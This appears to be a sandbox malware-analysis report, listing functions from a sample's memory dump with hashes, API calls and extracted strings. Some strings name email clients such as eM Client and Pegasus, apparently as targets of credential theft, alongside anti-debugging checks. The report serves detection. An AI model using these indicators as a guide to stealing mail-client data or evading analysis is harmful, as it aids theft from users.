Instruction ID: 49ee894ca4f6137de510909cdc9c2e2db1e31f0e3824b62a5aaa56946a66b896
Opcode Fuzzy Hash: 3034d82a480cb8f89dcfb5f74ad732d6c5b154c1f034d4a1a20f2f670bf56c56
Instruction Fuzzy Hash: E012A2B09046068FDF18CF58D49066EBBF4FB5A310F24492AE495EB7A1D7788941CBD3

Function 009B859B Relevance: 9.8, Strings: 7, Instructions: 1067COMMON

Download Yara Rule

Strings

y_B>, xrefs: 009B884A
ST4, xrefs: 009B85ED
q7 C, xrefs: 009B8D1E
$jRk, xrefs: 009B86F6
$jRk, xrefs: 009B92D5
q7 C, xrefs: 009B9526
TT4, xrefs: 009B9971

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: $jRk$$jRk$ST4$TT4$q7 C$q7 C$y_B>
API String ID: 0-4120928008
Opcode ID: 19062003c26532868454498e227e50f3dc71298f1981b794ebff368204a50fa7
Instruction ID: 5c22b42f57fd4c8b5d073a15306ac116cd8962dfe2ba00638ce3b5f7952d8d8d
Opcode Fuzzy Hash: 19062003c26532868454498e227e50f3dc71298f1981b794ebff368204a50fa7
Instruction Fuzzy Hash: 6E929770518301DBD7349F28CA956BEBBE9AB99720F248D1EF185CB690DA74C841DB43

Function 009B6508 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 391libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(fltl), ref: 009B6645

Strings

dll, xrefs: 009B6628
A8r, xrefs: 009B667C
ib.d, xrefs: 009B6630
fltl, xrefs: 009B6640, 009B6644

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: A8r$dll$fltl$ib.d
API String ID: 1029625771-252788044
Opcode ID: 2039658f1a3f0192b30e54c42d1fc0f10245b4772019d9c249726f779701915c
Instruction ID: 21384c875f8be83c37cba906ddd7524333bf9560a843ea8ee2d7234124af783e
Opcode Fuzzy Hash: 2039658f1a3f0192b30e54c42d1fc0f10245b4772019d9c249726f779701915c
Instruction Fuzzy Hash: A8E1AEB19093019BCA249F58CB857ADBBE5EB90720F248D2EF1D5CB254D27CE990DB43

Function 00996C08 Relevance: 8.3, Strings: 5, Instructions: 2052COMMON

Download Yara Rule

Strings

UL6T, xrefs: 00997294
EeS, xrefs: 009972AA
VL6T, xrefs: 00998B83
EeS, xrefs: 00996DE6
VL6T, xrefs: 00997928

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: EeS$EeS$UL6T$VL6T$VL6T
API String ID: 0-1377693644
Opcode ID: 822facb60093e5c78bbde4163aef7a75eac0453c728f865f1413c4f3083f18a3
Instruction ID: c98ebbca8795bfb33c509870b351aa3a13752b480cb00e553ed75779ee9ceeed
Opcode Fuzzy Hash: 822facb60093e5c78bbde4163aef7a75eac0453c728f865f1413c4f3083f18a3
Instruction Fuzzy Hash: 71E21CF2D001055BEF189B9C8C86B7FB968EB52300F24092EFD45E6291FA35DE4497A7

Function 009BA5D4 Relevance: 8.3, Strings: 6, Instructions: 794COMMON

Download Yara Rule

Strings

ST4, xrefs: 009BA4D2
?, xrefs: 009BAA5E
x_B>, xrefs: 009BA449
y_B>, xrefs: 009BA864
y_B>, xrefs: 009BA495
TT4, xrefs: 009BA8B8

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: ?$ST4$TT4$x_B>$y_B>$y_B>
API String ID: 0-2374627004
Opcode ID: 02d0fd0443d9d51e028c47f058a80f2cd0009247c9e0929960f9bfe9abe723b5
Instruction ID: 671d9cb03dfa5829e80e06773144e061e536b7233938cf0458616fe146b3aad2
Opcode Fuzzy Hash: 02d0fd0443d9d51e028c47f058a80f2cd0009247c9e0929960f9bfe9abe723b5
Instruction Fuzzy Hash: 9852F0B1D0420A8BDF38DB98CB516FDB674EB54330F644927E026EA2A0E779CD418797

Function 00992260 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 254sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 0099233E
ExitProcess.KERNEL32 ref: 0099268F

Strings

Ku^%, xrefs: 009922A7
Ku^%, xrefs: 00992362

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ExitProcessSleep
String ID: Ku^%$Ku^%
API String ID: 911557368-1067927601
Opcode ID: f6021972401f7c41a5fb1171240c79893f85c95f9c191756a518817ecc8198a1
Instruction ID: 58ca1e459a5003af8b7a2b84880c6c18be1e3dc0aa4a7b31928f90450810a642
Opcode Fuzzy Hash: f6021972401f7c41a5fb1171240c79893f85c95f9c191756a518817ecc8198a1
Instruction Fuzzy Hash: FCA1F8B1504B05ABCF348F1DD58162AB7E8AB457107748D1FE4ABCBA60E738F8549B12

Function 009C03F5 Relevance: 6.6, Strings: 5, Instructions: 301COMMON

Download Yara Rule

Strings

Ku^%, xrefs: 009C0258
Ku^%, xrefs: 009C03F5
Ku^%, xrefs: 009C0076
Ku^%, xrefs: 009C02F0
Ku^%, xrefs: 009BFFE2

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: Ku^%$Ku^%$Ku^%$Ku^%$Ku^%
API String ID: 0-3469696018
Opcode ID: 6ec76950be12901a45a75c5ce88806d55f504ea767741fb8e6c205ae61d7ac73
Instruction ID: 2c06ec021a12575b0b314bc2f9268eef187751fb2de1c010867d68a5f80893a4
Opcode Fuzzy Hash: 6ec76950be12901a45a75c5ce88806d55f504ea767741fb8e6c205ae61d7ac73
Instruction Fuzzy Hash: F5B1E771D1015ACBDF28CB588D55BBE7A74EBC2310F24093BE916EB261E778CA408797

Function 0099AB8F Relevance: 6.5, APIs: 4, Instructions: 475stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,00469144,?,0099BA31,0099CC5B,?,?,?), ref: 0099AEC5
lstrcatW.KERNEL32(?,0045FD78,?,?,?,?,?,?,?,?,00469144,?,0099BA31,0099CC5B,?,?), ref: 0099AF29

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: ef72a88249dd871b6e6f7590a3c2d473460619251f7bcc7e3a36d31713e60fb7
Instruction ID: b70c565eeea53c9a98b6049982adb0752afb7497b7625cf08df4dd504c48da33
Opcode Fuzzy Hash: ef72a88249dd871b6e6f7590a3c2d473460619251f7bcc7e3a36d31713e60fb7
Instruction Fuzzy Hash: F80248B1D042198BEF288B9CD9927BDB679EB14310F24492BE415FB290E37C8D419BD7

Function 009DF4AB Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 009DF538

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 12bee11bf7391676ae73bf0f68abedb6b2fa3ae6387d4d45c0890e18c1b165f5
Instruction ID: 1dcf1ba126dca30ec7834518088d36c722ef152008ff2afa1e218aca451c4b0c
Opcode Fuzzy Hash: 12bee11bf7391676ae73bf0f68abedb6b2fa3ae6387d4d45c0890e18c1b165f5
Instruction Fuzzy Hash: B6B136329402859FDB158F68C8A2BFEBBA9EF55314F15C17BE806AB741D235DD01CBA0

Function 009E2223 Relevance: 6.1, APIs: 4, Instructions: 129fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009E22BE
FindNextFileW.KERNEL32(00000000,?), ref: 009E2339
FindClose.KERNEL32(00000000), ref: 009E235B
FindClose.KERNEL32(00000000), ref: 009E237E

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 98469444129287ec3a0223e4e6863df554afa6925fe0b01ec864058e1a2505ac
Instruction ID: a2c0ed1eff04fe34eaa7f731a02755008121960dd788def7885e8b5cadc74dc2
Opcode Fuzzy Hash: 98469444129287ec3a0223e4e6863df554afa6925fe0b01ec864058e1a2505ac
Instruction Fuzzy Hash: 1C41E671900259AFDF25DF66CC88ABAB37CEB84704F1441A5E505D7184F7749E84CF64

Function 009CD0FC Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 009CD108
IsDebuggerPresent.KERNEL32 ref: 009CD1D4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009CD1F4
UnhandledExceptionFilter.KERNEL32(?), ref: 009CD1FE

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 5a224689ebe3c8543fae9108879d47dacd2795cfdd161b4ae1d22f43ac1ac262
Instruction ID: 4a8c1651fd8a05c2e4598a36bde8d2e56ca1f4b7e18f1639c06b3c409e5c768a
Opcode Fuzzy Hash: 5a224689ebe3c8543fae9108879d47dacd2795cfdd161b4ae1d22f43ac1ac262
Instruction Fuzzy Hash: D2312B75D4521CDBDF20DF64D989BCCBBB8AF08704F1040AAE40DA7250EBB19A85CF56

Function 00996472 Relevance: 5.4, Strings: 4, Instructions: 445COMMON

Download Yara Rule

Strings

Ku^%, xrefs: 00996853
Y=`, xrefs: 00996831
Ku^%, xrefs: 00996B34
Y=`, xrefs: 00996577

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: Ku^%$Ku^%$Y=`$Y=`
API String ID: 0-3617128223
Opcode ID: 5f34cb384d69458e94695c2cbe6bafde1a605cae2f8802c300460b8e96db7d5c
Instruction ID: b5b7fc2472f0b33c2111c31968284abe19ddf223343a017bce1123e386c62962
Opcode Fuzzy Hash: 5f34cb384d69458e94695c2cbe6bafde1a605cae2f8802c300460b8e96db7d5c
Instruction Fuzzy Hash: 19F11971D4420A8BDF248FDDCC826BDBBB8AB55310F244927E411EA2B1E779DD44DB82

Function 009BD221 Relevance: 5.4, Strings: 4, Instructions: 405COMMON

Download Yara Rule

Strings

^^4, xrefs: 009BD476
^^4, xrefs: 009BD594
]^4, xrefs: 009BD257
Mail Clients\eM Client, xrefs: 009BD225

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: Mail Clients\eM Client$]^4$^^4$^^4
API String ID: 0-1928883120
Opcode ID: 2b4910dd263b016b495e14fa66466277187321ac52993c0523f68307dfe2152f
Instruction ID: bb976ab1d0c67bd61af35d99c486630a19ed678bf02bd6fd39b430589c1a9397
Opcode Fuzzy Hash: 2b4910dd263b016b495e14fa66466277187321ac52993c0523f68307dfe2152f
Instruction Fuzzy Hash: 51E12BB1D0214A8FDF288B988F866FE76B8AF55330F244926E115F7250F779CA418793

Function 009B23DE Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

]^4, xrefs: 009B23F8
^^4, xrefs: 009B25F2
^^4, xrefs: 009B25CC
^^4, xrefs: 009B24C1

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: QueryVirtual
String ID: ]^4$^^4$^^4$^^4
API String ID: 1804819252-2923853987
Opcode ID: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction ID: 4b41455d5449960f3bea2cc3c5730be40b50ad48341d155cd6de400158660b6c
Opcode Fuzzy Hash: fa4f1894e5061ee90060a23dab345b4c9721d9ab9e288be8bc8134ce8262e773
Instruction Fuzzy Hash: 36510871A083528BDB288B1C9A846EE62D4DB85774F654D3BF479FB260C22CCD45AB43

Function 009CB5C9 Relevance: 5.0, APIs: 1, Strings: 2, Instructions: 550stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(0045FAC2,0045FAC2,?,?,?,?,?,?,?,?,?,?,?,?,?,-000017AA), ref: 009CBA0C

Strings

VL6T, xrefs: 009CB954
VL6T, xrefs: 009CBD5C

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: VL6T$VL6T
API String ID: 1586166983-2204272895
Opcode ID: b34f7b6829543c5bcafa32b40e3420d98b0dff8f829e495a6d6cd6807b993e14
Instruction ID: 69d85efe2572af6da2ac763926324d4a0261c0ea1aa52836f50a7f3ed80de37c
Opcode Fuzzy Hash: b34f7b6829543c5bcafa32b40e3420d98b0dff8f829e495a6d6cd6807b993e14
Instruction Fuzzy Hash: 49129571D041598BDF28CA9CC897BBEB6B4BB54740F24092EE516EB3A0D379CD409B93

Function 009DE5A2 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00995EEC), ref: 009DE69A
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00995EEC), ref: 009DE6A4
UnhandledExceptionFilter.KERNEL32(0045F807,?,?,?,?,?,00995EEC), ref: 009DE6B1

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: fddfd219bb87237c86172eb2c7764efb5dcc82193680edb944fc16078175a50e
Instruction ID: 547b035dfeb0924c96842007e75b33ee4bac77e185966763e8032ca30beabea2
Opcode Fuzzy Hash: fddfd219bb87237c86172eb2c7764efb5dcc82193680edb944fc16078175a50e
Instruction Fuzzy Hash: 1531B57490121C9BCB21DF24D889BDDBBB8BF58310F5041EAE41CA72A1EB709F858F45

Function 009C048F Relevance: 4.5, Strings: 3, Instructions: 717COMMON

Download Yara Rule

Strings

VL6T, xrefs: 009C0BA5
UL6T, xrefs: 009C06FC
VL6T, xrefs: 009C0A79

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: UL6T$VL6T$VL6T
API String ID: 0-1166735070
Opcode ID: 9bed48560ca3b384b9a9f564c2ae7e0eec34a31771338bf98d0d52593d9e9e81
Instruction ID: ee3516650340fe2f3a66b6cf4855ec0b23c2ea453e963096a8dedac448ce4d75
Opcode Fuzzy Hash: 9bed48560ca3b384b9a9f564c2ae7e0eec34a31771338bf98d0d52593d9e9e81
Instruction Fuzzy Hash: CB42EBB1D00119CBDF28CF988995BBE76B4BB95310F240A1FE555FB3A1E3348A508797

Function 009A78B1 Relevance: 4.4, APIs: 1, Strings: 1, Instructions: 917COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 009A79DA

Strings

=`f\, xrefs: 009A7FA1, 009A80E1

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: _strlen
String ID: =`f\
API String ID: 4218353326-984147390
Opcode ID: c84d8bab664dab9cd0f48d91de88ba0d679f2a9024c898dd52fba93cb0488266
Instruction ID: ef19b034ec3c2e88a08ca4b24b9e72489aec4f2e9793f0612ca9cffdd10e7d89
Opcode Fuzzy Hash: c84d8bab664dab9cd0f48d91de88ba0d679f2a9024c898dd52fba93cb0488266
Instruction Fuzzy Hash: 73823171608301AFDB14CF58C881B6BBBE5FF89344F04892DF999872A1D735E954CB92

Function 00995D11 Relevance: 4.2, Strings: 3, Instructions: 448COMMON

Download Yara Rule

Strings

,, xrefs: 00995E85
n_v, xrefs: 00995DCB
n_v, xrefs: 00995F00

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: ,$n_v$n_v
API String ID: 0-3754569955
Opcode ID: 0e10baba5f1820c9e62b13837b958635acf04d9a09fea5eb7d3276a35e9ff41f
Instruction ID: 2cd2b29504ceded7e566666e39bf41601f24f871e48b54542f9bd3e01645743e
Opcode Fuzzy Hash: 0e10baba5f1820c9e62b13837b958635acf04d9a09fea5eb7d3276a35e9ff41f
Instruction Fuzzy Hash: 9FF12E71D0051A8BCF288FACC89657EBA74AB55310F65492BF515FA3E0D3358E508BE3

Function 009BBC2C Relevance: 4.2, Strings: 3, Instructions: 436COMMON

Download Yara Rule

Strings

Mail Clients\Pegasus, xrefs: 009BBCDC, 009BBCE1, 009BBCF4, 009BBD07, 009BBD1A, 009BC092, 009BC097, 009BC0AA, 009BC0BD, 009BC0D0
Ku^%, xrefs: 009BBF1D
Ku^%, xrefs: 009BC07C

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: Ku^%$Ku^%$Mail Clients\Pegasus
API String ID: 0-3776256347
Opcode ID: 69303447eaede18a72e1c4aaef7c08798843526f7a0a7bd99bf296903903c389
Instruction ID: 2258d42320e69a623f24c334c0513526cf511e92ac3881afa8683a971e72b5be
Opcode Fuzzy Hash: 69303447eaede18a72e1c4aaef7c08798843526f7a0a7bd99bf296903903c389
Instruction Fuzzy Hash: AEE1FBF1D002099BCF24DB9C8E86AFF7A749B45360F680527E455EA3A1E7B4CD408792

Function 0099092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 009909DC, 009909DF, 009909E4
l, xrefs: 00990966
., xrefs: 0099095F

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 2640b7893dcb11257b904ede7ca3f51baee31ea1c0f4a4aae15e5da7a3a31afd
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 8F316CB6900609DFDF10CF99C880AAEBBF9FF88324F24404AD851A7351D775EA45CBA4

Function 009D8A67 Relevance: 3.4, APIs: 2, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d3e44d6773cb73d3f78f22b7e789175b054aa5dae3e35d0fed3e7c06545acc3
Instruction ID: 65a332ee093b169a033bae021c13e69f93a3f93c9a7f06ffce1282d0e7127543
Opcode Fuzzy Hash: 2d3e44d6773cb73d3f78f22b7e789175b054aa5dae3e35d0fed3e7c06545acc3
Instruction Fuzzy Hash: 78F15071E412199FDF14DFA9C880AAEB7B5FF88314F15826AD815AB381DB30AD01CF90

Function 009CD867 Relevance: 3.1, APIs: 2, Instructions: 92COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 009CD885
_CallDestructExceptionObject.LIBVCRUNTIME ref: 009CD907

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: CallDestructExceptionObject___except_validate_context_record
String ID:
API String ID: 3557573858-0
Opcode ID: c239e74d4f3c73cbfb2ec52de4c1c0d13c538d5be237da1c9bce762e36d27d04
Instruction ID: 6112c5da07c7c7cad59dac1ebd157210329331dc37a5936d5c24c2f8f06edc4f
Opcode Fuzzy Hash: c239e74d4f3c73cbfb2ec52de4c1c0d13c538d5be237da1c9bce762e36d27d04
Instruction Fuzzy Hash: A121E472901205ABCB10EF68CC81EABBBA5BF85350F45C079E9199B245E730F925CBE1

Function 0099B390 Relevance: 2.9, Strings: 2, Instructions: 375COMMON

Download Yara Rule

Strings

Y[, xrefs: 0099B8E9
LK, xrefs: 0099B98A

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: LK$Y[
API String ID: 0-3215990068
Opcode ID: e0129d6195a4faf04e5467944263a4367aaf707841d60a9d02f48df6a373b069
Instruction ID: a46c599b19206f654b2e03ea724c93cc5ea85c8d0f80cb6b227398f74a382cac
Opcode Fuzzy Hash: e0129d6195a4faf04e5467944263a4367aaf707841d60a9d02f48df6a373b069
Instruction Fuzzy Hash: A4E1BAB19152058BDF24DFACD69536DBAF5AFC4314F25892AE089DB390D37C89808B93

Function 009ED3C1 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,009ED31C,?,?,00000008,?,?,009ECEF7,00000000), ref: 009ED5EE

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: d6540e9e3e2bde8cc81b0ca47ebca29131f08a729fe48da196ffb7867e76fa42
Instruction ID: e3a46aebf93396a0d9bb439da6b027f85e2161048d465dae82bec0b8fda2ead9
Opcode Fuzzy Hash: d6540e9e3e2bde8cc81b0ca47ebca29131f08a729fe48da196ffb7867e76fa42
Instruction Fuzzy Hash: 8EB15A31211648CFDB16CF29C48AB657BE0FF45364F298658E89ACF2A5C735ED92CB40

Function 009B7C47 Relevance: 1.8, Strings: 1, Instructions: 509COMMON

Download Yara Rule

Strings

y_B>, xrefs: 009B7F51

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: y_B>
API String ID: 0-1404922283
Opcode ID: 3469851243814c9df854399b7f1dc1d22a233d7ef834371f5d1686ee01f1e3c4
Instruction ID: e9cebf484916f97db75b13114df91739db9fbbd916a6dfae1bfc568d2f2d08d8
Opcode Fuzzy Hash: 3469851243814c9df854399b7f1dc1d22a233d7ef834371f5d1686ee01f1e3c4
Instruction Fuzzy Hash: 39123C7150C3018BCB249FA8D6D15AEFAE9AB98760F254E1EE0D6CB350DA34DC819B07

Function 009A52D7 Relevance: 1.7, Strings: 1, Instructions: 471COMMON

Download Yara Rule

Strings

a, xrefs: 009A5338

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: a
API String ID: 0-3904355907
Opcode ID: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction ID: 2a2ba050c0d2c9d767fa7bd73bb656d6df967802d8f016f6c42cf5fabfd9f1dd
Opcode Fuzzy Hash: abf41055e7df99fb2ef503810f227f4fa87954494fd423e6c9940f4a18d96c89
Instruction Fuzzy Hash: D5121FB0608741DFD764CF19C880B2BBBE6BBC9304F55892DF58987260D779E948CB92

Function 009E216F Relevance: 1.7, APIs: 1, Instructions: 158fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009E0597: RtlAllocateHeap.NTDLL(00000008,?,009C6A8C), ref: 009E05D8

FindFirstFileExW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009E22BE
FindNextFileW.KERNEL32(00000000,?), ref: 009E2339
FindClose.KERNEL32(00000000), ref: 009E235B

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID: Find$File$AllocateCloseFirstHeapNext
String ID:
API String ID: 2963102669-0
Opcode ID: 11130e8ba43ef9a754539bc983f7f1652457a0f25efbe84c150eaa5e199ad3f8
Instruction ID: c50f80659eff98e16f808184543e07e40083acab008652a461e8a979a2704f75
Opcode Fuzzy Hash: 11130e8ba43ef9a754539bc983f7f1652457a0f25efbe84c150eaa5e199ad3f8
Instruction Fuzzy Hash: E0413B72604249AFDB19EFAACC85EBF736DEFC0354F144169F91597241EB30DE048A60

Function 009D12BE Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 009D144C

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: f938d26f7d7b869db53303d6b320227edf2d7df5e48e1cd41f04431b035f6243
Instruction ID: f2a9c9f9eee4c895cb52f1dd4617210f61a98a5cb5195cf6d379b23327059c21
Opcode Fuzzy Hash: f938d26f7d7b869db53303d6b320227edf2d7df5e48e1cd41f04431b035f6243
Instruction Fuzzy Hash: E6C10072A80606AFCB28CFA8C49067EB7B9AF45314F18CA1FE446977A1C734ED45CB51

Function 009D25B1 Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 009D273F

Memory Dump Source

Source File: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_Vd3tOP5WSD.jbxd

Yara matches

Similarity

